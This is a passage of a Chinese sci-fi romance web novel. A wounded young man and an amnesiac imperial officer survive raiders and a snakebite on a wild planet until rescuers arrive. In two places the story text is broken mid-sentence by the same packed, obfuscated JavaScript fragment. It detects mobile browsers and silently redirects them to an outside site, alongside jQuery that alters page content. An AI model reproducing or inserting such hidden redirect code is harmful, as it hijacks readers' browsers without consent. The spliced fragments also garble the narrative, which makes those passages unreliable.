基础款的药效最多只能抑制伤口恶化,缓解疼痛,根本无法像高级剂那样快速修复断裂的组织。 他的腿伤比想象中重,这点药效远远不够。 晏斯牧也看见了箱内的模样,立刻道:“我再去别的地方找找。” 他说着就要起,谢筠却轻轻摇了摇头,声音平静道:“已经没了。” 他们当时逃离星舰驾驶的是小型飞船,而这类飞船一般只配备一个储物舱。 就算是基础款的恢复剂,也聊胜于无吧。 谢筠拆出一只基础剂,对准自己的手臂静脉扎入。 冰凉的药液顺着血管蔓延开,很快带来一种微弱的麻痹感,腿上的剧痛果然减轻了些,像被一层薄冰轻轻覆盖。 谢筠靠着身后的树干缓缓闭上眼,等待恢复剂起效,来缓解高烧产生的不适。 身边传来窸窸窣窣的声响,是晏斯牧在翻动储物舱里的碎片。 谢筠没睁眼,只隐约感觉到对方的动作很轻,像是怕惊扰到他。 直到一声带着疑惑的询问传来:“这是什么?” 他这才睁开眼,看见晏斯牧的手中拿着几包银灰色的长方形密封袋。 “是营养剂。”谢筠的声音还有些沙哑,“你可以喝一包,补充能量。” 说完他重新闭上眼睛,然而下一秒,一个撕了口子的袋口触碰到了他的嘴唇。 他闻到了淡淡的谷物香气。 睁开眼,对上晏斯牧近在咫尺的目光。或许是因为失忆,让他的眼神变得像孩童一样清澈干净,像盛着碎光的湖面,真挚的让人无法直视他的眼神。 晏斯牧手里举着一包撕开封口的营养剂,对他微微笑着说:“你先喝。” 12. 第 12 章 谢筠喝完一包营养剂,嘴巴里残留的涩味久久退不下去。 市面上有很多种营养剂,味道各式各样都有,唯独军用营养剂的味道一直都是一言难尽。 尽管闻着的味道是带着香气的,但入口后的口感无法言说。 听说是故意这么设计的,为了在一些特殊情况或者特殊环境中,军人能够克制自己。 毕竟难吃的话,也比较容易忍一些。 如果不是现在的情况他确实没得选,其实谢筠也不是很想喝上这么一包。 早知道先前就把晏斯牧摘的那串果子拿上了。 那果子看着好像味道挺不错的样子,晏斯牧自己应该尝过了吧? 这么想着,谢筠下意识抬眸看了一眼晏斯牧。 结果又被抓了个正着。 晏斯牧的眼神好像就没有从他身上离开过。 他现在给谢筠的感觉怎么说呢,就像一只体型健硕的大狗,一直眼巴巴地望着自己,只要自己给予他关注和慰问,他就会朝着自己疯狂的摇上尾巴。 就像现在,他一和晏斯牧对上视线,男人就马上开口问道:“怎么了?是哪里不舒服吗?” 谢筠摇了下头。 恢复剂和营养剂让他的身体状态变好了许多,尽管伤口无法愈合,但至少现在不饿也不痛了。 他看着晏斯牧把储物舱清理出来,然后把仅剩的恢复剂和营养剂全都放了回去。 “你不吃么?” 谢筠指的是营养剂。 晏斯牧回道:“我吃过果子了,不饿。” 这话谢筠当然不会信。 先不说他背着自己走了一夜,吃果子都是昨天下午的事了吧? 现在都过去这么长时间了,怎么可能不会饿? 晏斯牧确实饿了,但他想营养剂肯定是好东西,谢筠现在受了伤正是需要补充营养的时候。目前营养剂只剩五包,他想全留给谢筠。 他想着自己等会儿找个空当去旁边转转,说不定能找到野果或者能吃的东西,随便应付一下就行。 但谢筠直接从储物舱里拿出一包营养剂,撕开封口后塞进晏斯牧手里,说:“喝吧,这东西没必要省给我。” 除非晏斯牧真的变成一只狗,否则他才不想欠晏斯牧这么多情。 更何况这么难喝的东西,晏斯牧现在失忆了,应该重新品尝一番。 但这个举动落在晏斯牧眼里,就是谢筠对自己的关心了。 “好。” 晏斯牧感动地回了一句,然后直接就吸了一大口。 下一秒,晏斯牧的眼尾几不可察地抽搐了一下,差点没把嘴里的东西喷出来。 但对上谢筠似笑非笑的目光,他很快就调整好表情,面不改色地继续吞咽。 尽管晏斯牧已经隐藏的很好了,但谢筠还是捕捉到了他微妙的表情变化,这让他的心情感到了一丝愉悦。 谢筠:“对这个味道有没有印象?” 味道如此独特的东西,指不定能勾起他的记忆也说不定。 但晏斯牧摇头,说没有。 谢筠也就没在说什么了,他本来也就是随口问问。 其实对他来说,晏斯牧现在一直保持失忆的状态才是最好的。 至少面对失忆的晏斯牧,他勉强还能维持一下平常心。 如果现在眼前的男人是那个没有失忆,倨傲淡漠的帝国少将的话,他…… 他实在无法想象他们和谐相处的画面…… 谢筠的腿已经没有那么痛了,就算伤口没有愈合,但痛感减弱后,他认为自己走路应该也没有问题。 只是他刚起身,晏斯牧就跟着他一起起身了,“怎么了?想上厕所?” 谢筠:“……” “我是想去飞船驾驶舱看看。” 从晏斯牧紧紧盯着自己的态度,谢筠不用想都知道,如果自己说要独自去,这家伙绝对不会同意。 虽说自己好像也没必要受晏斯牧的限制,可现在他的身体情况也反抗不了,索性就不浪费力气了,直接告诉男人自己的目的。 谢筠把他们是被掠夺者追到蓝星的事也告知了晏斯牧,并且把自己担心掠夺者还在追踪他们的事也一并说了。 虽然晏斯牧不清楚掠夺者是什么,但从前面被追杀的情况来看,也能猜到那些家伙绝非善类。 “好。”晏斯牧说着就弯下腰,伸手想去抱谢筠。 可手刚伸到一半,就被谢筠抬手按住了。 说不清是无奈还是别的什么,谢筠只是开口道:“还是背吧。” 晏斯牧眼底闪过一丝失落,但还是听话转过身,在谢筠身前蹲下。 谢筠刚趴上晏斯牧的背,就又被他托着屁//股背了起来。 谢筠很少被人背,他自己也没背过别人,所以他其实无法判断,背人一定要从托着屁//股开始吗? 还是说因为自己是男生,从屁//股托举比较好发力? 他判断不了。 只是晏斯牧一脸正经,看着也不像是故意的模样。而且背着他起身后,很快就会将手换到他大腿的位置。 可能这家伙背人的习惯就是这样吧。 谢筠只能这么想。 飞船爆炸出来的深坑凹凸不平,其实这种情况,晏斯牧把他放下来,他们各自往下走反而方便一些。 谢筠也提出了这个意思,但晏斯牧装作没听见。 背着他一步一步,非常稳健的走下了深坑。 驾驶舱其实已经完全炸毁了,谢筠伏在晏斯牧背上指挥他摁了几个主控台的按钮。 毫无意外,当然不会有任何反应。 尽管他能确定飞船迫降这颗星球前晏斯牧朝帝星发出过信号,可他不能确定在他们坠落后,飞船所在的准确坐标有没有发送给帝星。 现在晏斯牧已经失忆了,这件事也无从得知了。 谢筠曾经对蓝星的历史很感兴趣,所以对蓝星的一些信息都比较有印象,比如蓝星和帝星之间相隔了多少距离。 他记得是11.3光年,按照标准跃迁航距来计算,帝星如果派出救援军的话,应该可以在两三天的时间内到达。 现在算上他前面昏迷的时间的话,他们待在蓝星应该已经快要两天了吧? 那么如果帝星已经派出救援军了的话,也有可能马上就要到了? 目前还有一支基础款恢复剂和几包……营养剂,谢筠判断自己的情况,再撑个两三天应该也不是问题。 而救援军可能明天就能到达。 那么现在他们等在飞船旁边肯定是最好的选择。 前提是,他们不碰到掠夺者的话。 然而有些事情就是那么戏剧性,越不想来什么,就偏偏越会碰到什么。 那时候已经是傍晚,他们两个都不是很想吃营养剂,晏斯牧就说去旁边找找看有没有什么果子之类的吃的。 在他离开前,一直不停叮嘱谢筠,一定要乖乖待在原地。 谢筠没搭理他。 晏斯牧大概是怕谢筠不听话,都走出去几步了又折返回来,蹲到他跟前,像是不放心似的用低缓的语气哄道:“我很快就会回来,你就坐在这里等我,好么?” 尽管谢筠从没有表露出来,可晏斯牧潜意识就是有一种感觉,如果他不看紧青年的话,自己就会被青年抛弃。 在晏斯牧离开前,谢筠让他把脉冲手枪留给自己。 晏斯牧问都没问就直接给他了。 接过手枪时,他不经想,以晏斯牧现在对自己的信任程度,自己如果要杀他,是不是也轻而易举? 只不过谢筠对他厌恶也没到要杀他的地步罢了。 而在晏斯牧离开半个多小时后,谢筠听到了往他这边靠近的脚步声。 不止一个人。 几乎在谢筠听到脚步声的同时,他就已经起身,用最快的速度跑到深坑,爬进去后用飞船残骸作为掩体遮挡自己。 没多久,三个男人从密林深处一前一后地走了出来。 中间那个蓄着茂密络腮胡的男人走在最前,脸上带着一道从眉骨延伸到下颌的狰狞疤痕。跟在他左边的男人身材瘦小,一副贼眉鼠眼的模样。而右边那个男人则块头极大,肩宽背厚,手臂比常人的大腿还粗。 谢筠能肯定这三个人是掠夺者。 贼眉鼠眼的男人指着不远处扭曲的飞船残骸,语气里带着谄媚的兴奋:“老大,您看!这艘就是那个帝国崽子的飞船!肯定是他们没错!” 络腮胡男人顺着他指的方向瞥了一眼,鼻腔里重重“嗯”了一声,眼神阴鸷。 站在他右边的大块头早已按捺不住,粗壮的拳头捏得咔咔作响,恶狠狠地道:“那两个狗崽子杀了我们两个兄弟,要是让老子找到他们,老子非要把他们扒层皮不可!” “搜了两天连个人影都没见着,”络腮胡啐了口唾沫,踢开脚边的碎石,语气里满是烦躁,“要不是这破星球邪门得很,一进来飞船就失灵,探测设备全成了废铁,老子早就把他们挫骨扬灰了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074211|179307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>贼眉鼠眼的男人立刻凑上前,压低声音道:“老大,刚才我好像听到这边有动静,说不定那两个崽子就躲在附近!” 络腮胡的眼睛眯了起来,眼底闪过一丝狠戾。他抬手示意身后两人噤声,抽出腰间的手枪,“走,在周围搜一搜看看。” “是!”大块头和贼眉鼠眼立刻应道,两个人保持着不远不近的距离在周围搜寻。 而谢筠躲在残骸后面,拿着脉冲手枪,枪口对准了距离他最近的那个贼眉鼠眼的男人。 对方正背对着他,这是最佳机会。 他没有犹豫,瞄准后直接开枪。 脉冲子弹破开空气,朝着男人的后脑直射而去。 那贼眉鼠眼的男人在感知到危险时已经晚了,甚至没来得及发出一声惊呼,就被脉冲子弹打爆了脑袋。 尽管谢筠靠偷袭杀死了一个掠夺者,可他的位置也暴露了。 另外两个掠夺者亲眼看着兄弟在自己眼前被打爆了脑袋,全都红了眼,对谢筠的仇恨值达到顶点。 密集的脉冲子弹朝着谢筠所在的位置疯狂扫射而来。 谢筠借着飞船残骸的金属挡板作为掩护,在深坑里快速穿梭。 每一次移动都牵扯着腿上的伤口,剧痛让他冷汗直流,那里应该又开始渗血了,但他不能停下。 越是凶险的情况,谢筠反而越发冷静。 在躲避的过程中,他还回身连连回击,打伤了那个大块头,但他自己也被打伤了手臂。 血从伤口溢出来,染红了他握着手枪的掌心。 络腮胡和大块头已经逼近至他眼前。 但他手里的脉冲手枪已经没有能量了。就算手枪还有能量,以他现在的状态,想反杀这两个人也是天方夜谭。 脚已经疼到麻木,连带着手臂上伤口的疼痛都变得迟钝。 今天是他第一次杀//人,连恐惧都没机会体会,现在他自己可能也要死在这里了。 谢筠喘着粗气,苦笑了一下。 就在他以为自己死定了的时候,一阵熟悉的机甲嗡鸣声突然从空中传来,由远及近,带着肃杀的破空声! 谢筠猛地抬头,那架漂亮的银白色机甲就映入眼帘。 机甲外壳在夕阳的余晖下泛着冷冽的光泽,像救世主般,飞跃而来。 巨大的机身带着狂风俯冲而下,精准无误地落在他身前几米处,激起一片尘土,将他和那两个掠夺者隔离开来。 在SS级机甲面前,肉体凡胎简直如同脆皮一般不堪一击。 淡蓝色的能量光团在炮口凝聚,刚才还嚣张的络腮胡和大块头瞬间僵在原地,下一秒他们的身躯直接在激光炮中气化。 白泽机甲的能量炮还在缓缓收起,晏斯牧就已经从驾驶舱内跳了下来,他的身上也有好几处狰狞的伤口,但他毫不在乎,直奔谢筠而去。 谢筠已经半跪在地上,身躯前倾时,落入了一个温暖的怀抱中。 “我不该让你一个人留在这里的。”晏斯牧在看清谢筠的情况后,心脏瞬间像被一只无形的手狠狠攥住,让他喘气都仿佛在疼。 他想到刚才如果自己再晚来一步的话……他不敢继续想。 “对不起,筠筠。”晏斯牧的声音带着无尽的自责和愧疚,眼眶甚至都泛了红。 他这副模样,让谢筠都没力气去计较这个称呼,也没力气从他怀里挣脱出来。 “你没恢复记忆?” 本来以为晏斯牧能操控白泽是恢复记忆了,可看他对自己的态度,应该是还没有的。 “还没。”晏斯牧回答。 “那你怎么开启白泽的?” 因为晏斯牧的机甲一直都在他的手腕上,谢筠记得自己前面还提过一嘴,然而那时候晏斯牧一脸茫然,还问他机甲是什么。 晏斯牧抱着谢筠的手臂紧了紧,声音暗哑,却条理清晰地解释:“我前面在林子里找野果的时候,撞见了四个你说的掠夺者。听到他们说还有三个同伴往你这边来了,我怕那三个人会对你不利,就想快点解决我这边的这四个赶回来。可那时候我没办法很快解决掉那四个家伙,又非常担心你,然后不知道怎么回事,这个手环突然发烫,接着那副机甲就自动启动,组合成型了。” 也就是说晏斯牧是因为迫切想要救自己的心情无意间启动了白泽? 真的是因为这个原因吗? 就在谢筠怀疑的时候,晏斯牧突然将额头抵在他的额头上,缓缓道:“我以后不会离开你身边,我会保护好你的。” 13. 第 13 章 不会离开他身边? 会一直保护他? 这两句话烫得吓人,像告白,又像誓言。 谢筠想不明白,失忆后的晏斯牧为什么会对自己产生这么强烈的情感。 这种炽热,近乎霸道的占有欲,应该是爱人之间才该存在的。 可他们不是爱人,也不可能成为爱人。 他们现在的姿势过于亲密了。 额抵着额,呼吸缠着呼吸,温度在皮肤之间交换,像要把他整个人吞进去。 谢筠用没受伤的那只手抵住晏斯牧的下巴,轻轻一推。 将晏斯牧的脑袋和自己的额头分离开来。 晏斯牧的眼尾耷拉了下来,像被主人拒绝后委屈的大狗。 说实话谢筠现在也不知道该怎么应对晏斯牧这莫名其妙的情愫。 他只是觉得自己更难受了。 体温大概是又上来了,浑身冷一阵热一阵,视野边缘泛起灰白。 偏偏晏斯牧将他抱得更紧,像怕一松手他就会碎掉。 热度,疼痛和混乱的心跳,全挤在身体里,仿佛找不到出口。 谢筠闭上眼,声音低哑绵软:“……松一点,我疼。” 才开口说了几个字就泄了力气,尾音落下来,软得几乎听不见。 冷汗沿着额角滑进鬓发,面颊却烧得透红。不正常的潮红浮在他浅麦色的脸颊上,反而衬得他容貌变得更加艳丽了几分。 谢筠的长相其实和他的性格有很强烈的反差感。 青年的头脸很小,却有一双漂亮的大眼睛。鼻梁不算很高但鼻头小巧形状好看,唇形小而饱满,唇色因为高热愈发鲜艳,像雪地里熟透的浆果。 身形修长精瘦,腰细得他单臂就能圈住,却拥有非常挺翘还具有肉感的屁//股。 这样漂亮的人,就该被他锁在视线里,护在怀里,而不是像现在这样,浑身是伤的躺在他的臂弯。 谢筠垂着睫毛微微喘息,忍着痛苦的模样,脆弱得像一碰就碎的薄瓷,透着些许可怜。 晏斯牧看在眼里,心口疼得发闷,恨不得把青年揉进自己怀里,让自己来替他遭受这些苦难。 如果能把这些伤口挪到自己身上,他连眉头都不会皱一下。 晏斯牧的指节无声收紧,又强迫自己放松,怕再勒疼了青年。 不想再有下次了。 也不能再有下次了。 以后不会再离开谢筠的身边。 要一直护着他。 不想再让他受伤了。 …… 谢筠被晏斯牧抱到他们先前放储存舱的地方。 他意识昏沉地倚靠在晏斯牧怀里,看着他打开储存舱,取出里面仅剩的那支基础恢复剂,然后拆掉了恢复剂的外壳。 晏斯牧动作小心地抬起他没受伤的那条手臂。男人的指腹带着薄茧,触到他臂弯处的皮肤时,动作不自觉地放轻。 像是怕弄疼了他,小心翼翼的将针刺入。 尽管动作有些生涩,但十分温柔。 但其实注射恢复剂不会有多少痛感,更何况现在谢筠也顾不上这点痛感了。 只是被晏斯牧这样温柔对待时,让他感到有些别扭,也有些……无所适从。 晏斯牧自己身上也有好几道新增的伤口,有一道还挺深的,不过已经没有再渗血,他自己好像也并不在意。 别说现在恢复剂只剩一支,就算还有两只,他也不会用在自己身上。 恢复剂慢慢开始生效,谢筠感觉身体难受的劲缓和了许多。 只不过以他现在的身体状态,基础恢复剂的效果也实在有限。 最多让他的伤口止了血然后不那么痛一些,还有就是降低他的体温。至于他能不能挺到救援军的到来,就看命了。 “筠筠,虽然这个味道不好,”晏斯牧撕开一包营养剂的封口,递到谢筠嘴边,“你喝一半就好,喝完我就带你去吃果子。” 这话就像哄小孩吃完药就可以吃到糖的爸爸一样。 如果晏斯牧有孩子,他应该会是一个很合格的奶爸? 谢筠脑子里莫名产生了这样滑稽的念头,随后马上就对自己产生的这个念头感到无语。 他抬手拿过营养剂,没有任何废话,张嘴一口干完。 晏斯牧的指腹随即贴上他嘴角,轻轻揩掉上面的残液,低笑着说了句:“好乖。” 谢筠:“……” 就算晏斯牧不开口,他自己也会喝一包营养剂,他现在需要补充能量。 可晏斯牧的态度让他很恼火,偏偏这股恼火还不好发泄,反而让他的脸颊莫名泛起了热。 算了,和一个失忆的人计较什么呢? 把他当成一条狗看就好了。 嘴里的涩味久久不退,谢筠的表情也不好看。 晏斯牧垂眸,看着红着脸闹脾气的谢筠,心里反而生出欢喜来。 青年就像一只猫一样,高傲又倔强。 但他知道青年的倔强是伪装起来保护自己的躯壳,如果自己一直,一直顺着他的毛抚摸的话,能有机会触到他的内心,让他爱上自己吗? 晏斯牧的手指轻轻触碰青年的发丝,他希望自己的心愿能够成真。 …… 等他缓过来了一些,晏斯牧就抱起他往森林里面走。 晏斯牧说自己前面找到了一颗果树,旁边还有小河。 如果谢筠想的话,他可以下去看看有没有鱼之类的,抓来给他吃。 谢筠现在也懒得计较是被抱还是背了,他没力气了。 对于晏斯牧的提议他也没有回应。 就算有鱼又怎么样? 他不吃生的! 谢筠被晏斯牧安置在果树下。 就像他说的那样,现在是真的一刻都不会让谢筠离开自己的视线。 这里的树都长得十分高大,树干足足有几人粗,而这颗果树长满了鲜红的果子,看起来十分可口。 晏斯牧抓着树干,两三下就爬上了果树。军靴蹬在枝干间,踩落了许多枝叶。 谢筠抬手将落在头顶的树叶拿下,忍不住想帝星那些人知道他们的少将这么会爬树吗? 一阵微风掠过,一串果子“嗒”地砸在谢筠脚边。 晏斯牧的声音从高处落下来,带着笑:“很甜,你尝尝。” 谢筠拿起那串红果。 果子的形状圆润饱满,通红的色泽像玛瑙,乍一看和阿尔法星的苹果有七八分相似,但应该和他们星球的苹果不是同个品种。 反正是谢筠没见过的水果。 几千年前,人类撤离蓝星时,曾把整个星球的植物种子都塞进星舰的冷冻舱。 这些种子在真空里沉睡,经过漫长的航行,又在陌生的星球苏醒。 它们经过几千年的驯化与变异,大概和蓝星上的产生了差异吧。 谢筠咬了一口,确实很甜,就是不知道有没有毒。 不过吃都吃了,现在想这些好像也没有意义。 晏斯牧已经从树上跳下来,手里还抓着几串红果。 “你看……” 然而他才刚说两个字,语音突然顿住,神色一凛。 谢筠察觉到他神色不对,还没来得及问什么,就见晏斯牧飞快抬起手臂,然后又朝着他头顶猛地挥了一拳。 头顶传来一声拳头砸在物体上的闷响,下一秒他就被晏斯牧抱起来滚到了一边。 而在他们滚停的瞬间,晏斯牧已经半跪起身,抽出脉冲手枪,对准他刚刚所在的位置连开了两枪。 这时候谢筠才看清,原来刚才自己靠着的那棵树干上,不知道什么时候盘悬着一条足有大腿粗细,好几米长的巨蛇,它通体覆盖着与树皮几乎融为一体的灰褐色鳞片,如果不是刚刚探出了三角形的蛇头,根本让人发觉不了。 现在这条蛇已经被晏斯牧打爆了脑袋。 不愧是少将,就算失忆了,依旧能够枪枪爆头。 “这是什么东西?”因为感知到了那个生物的杀意,尤其是针对谢筠而来,所以晏斯牧没有任何犹豫直接射杀了这个生物。 可其实他并不知道那生物是什么。 “是蛇。”谢筠回道。 这还是他第一次看见真实的蛇。 这种生物他只在蓝星物种资料里记载过。 谢筠看着那条蛇的尸体,感觉好像又和他在资料里看见的有些不一样。 资料里,没怎么记载这么大的蛇。 “那这个蛇能吃吗?” 晏斯牧看这生物这么肥壮,如果能吃,正好可以给谢筠补一补。 “应该不能,它的肉可能有毒。” 谢筠不知道为什么晏斯牧对吃蛇会有兴趣,但这蛇应该是毒蛇。 虽说在他看过的生物资料里,毒蛇好像不会长到这么大的体型,但人类都离开蓝星这么久了,这星球上的生物进化了也不是没有可能。 晏斯牧听后沉默片刻,“是吃它的肉会中毒?还是被它咬了会中毒?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074212|179307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “为什么这么问?”谢筠刚问完,就看见晏斯牧的手臂上有两个鲜明的牙洞,“你被咬了?” “恩。” 刚刚那条蛇是直冲着谢筠的脖子咬过来的,晏斯牧挡下了那一口才把蛇给击退。 “那你现在有什么难受的感觉吗?” 谢筠也不知道自己为什么要着急,他本来不应该担心这个男人。 可能是因为,对方是为了救自己才被咬了。 他只是不想亏欠这个人。 “还好,”晏斯牧晃了晃被咬的手臂,“就手臂有点麻麻的。” 谢筠无法判断这条一定是毒舌,也就无法判断晏斯牧到底有没有中毒。 短短一瞬间,他想了很多曾经学过的急救知识,可却没有任何一条是和被蛇咬后有关的。 阿尔法星没有蛇,他对于被蛇咬后该怎么做急救措施完全没有头绪。 如果他们现在不是流落在蓝星,他还能用终端查询一下这方面的资料。可是现在他手腕上的终端完全失灵,已经用不了了…… 他觉得自己也是有点急昏头了。 如果他们没有流落在这里,那晏斯牧根本不会被蛇咬,他也根本不需要查这些资料。 “我没事的,你别担心。” 晏斯牧的安抚反而让谢筠感觉很烦躁,心里那股憋了许久的情绪一下炸开,语气发颤道:“你为什么要救我?我不想承你的情,也不想欠你这些!” 晏斯牧脸上的错愕一闪而过,很快就恢复如常,垂着眼看着谢筠,温声道:“我是自愿的,你没有欠我什么。” 谢筠的心像是被什么东西撞了一下,又酸又软。 也让他一下失去了闹情绪的力气。 晏斯牧走到他身边,宽慰道:“可能这条蛇没有毒呢?” 可惜这个假设不可能成立。 谢筠能明显感觉到晏斯牧的脸色变得难看,原本红润的唇色也变得青乌起来。 晏斯牧其实自己也很清楚,他应该是中毒了,说那句话不过是想安抚谢筠罢了。 先前被蛇咬过的地方,此刻伤口周围的皮肤已经泛出诡异的青紫色,像是有什么东西在皮下蔓延。 先前只是被咬的那只手有一些麻痹感,现在已经半边身子都有麻痹感了。 但晏斯牧把被咬的手不着痕迹的背在身后,然后装作没事人一样,用另一只手把摘来的果子递到谢筠面前,微笑着说:“要不要再吃一个?” 谢筠接过果子,心情有些复杂。 这条蛇有多毒他不清楚,中了蛇毒的人能坚持多久他也不清楚。 他只知道,如果晏斯牧死在这里,那么就算救援军来了,大概也会将他当场射杀。 想到这个结果,谢筠觉得真的挺可笑的。 谁能想到堂堂帝国少将,会为了救曾经自己口中的卑贱之人,最终死在蛇毒下了呢? 夜幕降临,救援军依旧没有到来。 谢筠靠着树干,望着夜空出神。 晏斯牧躺在他身边,意识已经陷入半昏半醒。 其实这时候谢筠有些放弃了,可能不会有人来救他们了。 不过能让帝国少将陪着自己一起死,好像也值了。 一只滚烫的手握住了他的手。 他下意识挣了一下,但对方反而握得更紧了。 明明都快失去意识了,还把最后的力气浪费在和他握手上吗? 和一个快死的人也没什么好计较的了。 谢筠索性也不挣扎了,任由晏斯牧握着自己。 “你,是不是讨厌我?”他听到晏斯牧这么问。 明明讲话都没力气了,还问这些没有营养的问题干什么呢? “不讨厌……”他沉默了好一会儿,才回道。 他也不算在说谎,这几天相处下来,他没办法把眼前这个男人和那个帝国少将当成一个人看待。 所以他确实也不讨厌现在的晏斯牧。 晏斯牧好像笑了一下,低声说:“你不讨厌我,就好。” 握着他的手渐渐松了力道,但还没完全放开。 就在这时,谢筠听到了朝他们这边靠近的脚步声。 而且还有不少人。 就在谢筠判断来的人有多少,会不会是掠夺者的时候,一束强光朝着他这边照了过来。 他本能的抬手遮住眼睛,就听见有个男人喊道:“少将在这里!” 接着,他听见一阵杂沓的军靴声朝着他们这个方向跑来。 14. 第 14 章 救援军刚到他们跟前,其中两名士兵就动作迅速,一左一右将他用力按在了地上。 腿和手臂上的伤口蹭到了满是碎石和湿泥的地面,疼得谢筠下意识闷哼了一声。 而其他人则立刻围住晏斯牧。 领头的军官单膝跪地,手上拿着一个小型检测仪。幽绿的扇形光幕从检测仪下方投射到晏斯牧身体上,来回扫描了一遍。 下一秒,仪器就发出刺耳的“滴滴”声。 而仪器屏幕上所有人体数值都瞬间爆红,这表示晏斯牧正处于生命垂危的状态。 那名军官瞳孔骤缩,立刻从臂甲内侧的储存舱内拿出一支鎏金液体的针剂,动作麻利的给晏斯牧进行了注射。 金色的液体缓缓推进晏斯牧的体内,而屏幕上的数值也随着针剂的注射以肉眼可见的速度变绿。 谢筠只在资料里看过这种功能款恢复剂,听说除了不能让人死而复生,能治一切疾病。 晏斯牧睁开眼的第一件事,就是让那两个士兵放开谢筠。 他冷着脸下命令的模样,又像是变回了那个盛气凌人,生杀在握的帝星少将。 谢筠以为他恢复记忆了,然而在那两个士兵松手后,晏斯牧就立刻来到他身边扶住了他。 “筠筠,你没事吧?” 一开口,还是十分温柔的语调。 把那些救援军听得一愣一愣的。毕竟在他们的印象里,他们的少将从来都是冷漠狠戾的,哪里见到过他这么温柔的一面? 可据他们得到的消息,这个青年应该是被少将抓到的拥军一员啊? 按理来说,这个青年是他们的俘虏,等被他们带回帝星后,是要关押起来审讯的。 可他们的少将,为什么会对这个俘虏这么温柔? 看着就像是…… 就像是对待珍惜的爱侣一般? 只不过就算他们再怎么疑惑不解,也绝不会开口询问。 帝星所有士兵对他们的少将都绝对忠诚,只要少将下令,不管什么命令,全都无条件听从。 他们只会想,少将这么做,一定有少将的理由。 所以当晏斯牧问领头的军官:“还有没有给我注射的那种恢复剂?” 那名军官没有问任何缘由,对着站在自己身边的士兵示意。 那名士兵即刻屈膝,臂甲“咔哒”弹开暗舱,一支鎏金恢复剂静静躺在防护非常到位的小格内。 功能款恢复剂其实是非常珍贵的资源,这次为了救少将,他们才特地带了两只,而且为了防止出现意外情况损耗,两支还被分开存放。 士兵抬起手臂,领头的军官就从里面取出那支恢复剂,双手奉到晏斯牧面前。 冰凉的液体被缓缓推进谢筠的体内。 和注射基础款时的感受完全不同,几乎在药剂被推入体内后,谢筠就立刻感觉到身体变得轻松,精神也立刻饱满了起来。 所有疼痛和难受的感觉都在顷刻间消失,而它的效果比高级恢复剂还要猛烈。 谢筠眼看着自己手臂上和左腿上的伤口在快速愈合,看着皮肉一点点长回来的感觉真的有点神奇。 这时那个军官开口道:“少将,总督和上将都很担心您,我们现在要立刻启程返回帝星吗?” 晏斯牧没有搭理那个军官,而是看着谢筠问道:“你是不是想回去?” 谢筠没有否认。 他当然要回去。不回去,难道和晏斯牧在这里生活吗? 可晏斯牧在听见他的回答后却垂下了眼,让人看不见他眼底的情绪。 过了一会儿,谢筠才听见他嗓音低沉地缓缓道: “回去后,我们是不是会分开?” 谢筠想说他们就没在一起过,谈什么分开不分开? 可他只是说:“我想回去。” 晏斯牧抬眸,明明一脸黯然,却还是温柔地应了声好。 “你想回去,我就带你回去。” …… 跟着救援军去往星舰的路上,谢筠才知道其实他们一天前就已经来到蓝星。 只是星舰无法靠近这片原始森林。 “这片森林有特殊磁场,形成了天然的屏障。” 领头的军官边走边说,“我们的星舰只要靠近这里,系统就会失灵。我们试过三次,最靠近时差点坠落。” 所以他们只能将星舰停放在距离森林有一段距离的地方,然后徒步进来寻找。 谢筠想起前面那些掠夺者的小头目也说过,进入森林后他们的探测装备就失去了作用。 想来应该也是因为这个屏障的缘故。 不过帝星军的装备都是顶尖的,尽管也有受到干扰,但倒是没有完全失灵,只是探测效果大打折扣,信号时断时续。加上这片森林实在太大了,所以找他们花了一天多的时间。 “本来我们的探测仪,能一次探测十公里内的,但因为这座森林的磁场干扰,变得只能探测几百米的距离。” 其实谢筠前面只是随口问了一句他们为什么来这么晚。 那名军官可能是看晏斯牧对他态度特殊的原因,倒是滔滔不绝解释起来,“还好少将启动了白泽,探测仪是监测到了白泽机甲独有的粒子频率波动,我们才确定了你们的准确方位。” “就是中途……” 军官还在讲,谢筠已经开始走神。 这时晏斯牧突然靠过来说:“要不要我背你?” “不用!”谢筠立刻拒绝。 别说前面两个人独处时,晏斯牧对自己表现亲昵都让他感到别扭。 现在他们身边跟着一小队的救援军,晏斯牧还对自己这般没有分寸的亲近,真让谢筠有种如坐针毡的感受。 他余光瞥见斜后方有好几个士兵都朝着他这边投来充满探究和八卦的眼神。 这些全都让他感到非常的不自在。 让他窝火的还有晏斯牧那副理所当然的样子。仿佛在男人眼里,他就是个走几步路就要喘,离了人抱就走不了路的易碎品。 他不喜欢被当成弱者对待,尤其不喜欢被晏斯牧当成弱者。 所以谢筠不打算再理晏斯牧。 被无视的晏斯牧只能默默委屈,想不通自己又哪里做错了…… 可能是注射了功能恢复剂的缘故,在回程的空间跳跃中,谢筠并没有特别痛苦的感受,只有轻微的反胃感。 银黑色的巨型星舰缓缓停靠至闸口。引擎的低鸣逐渐沉歇,最后化作一声沉闷的震颤。 谢筠跟在晏斯牧和救援军后面走出星舰。 走上那条悬空的过道时,他下意识驻足仰望。 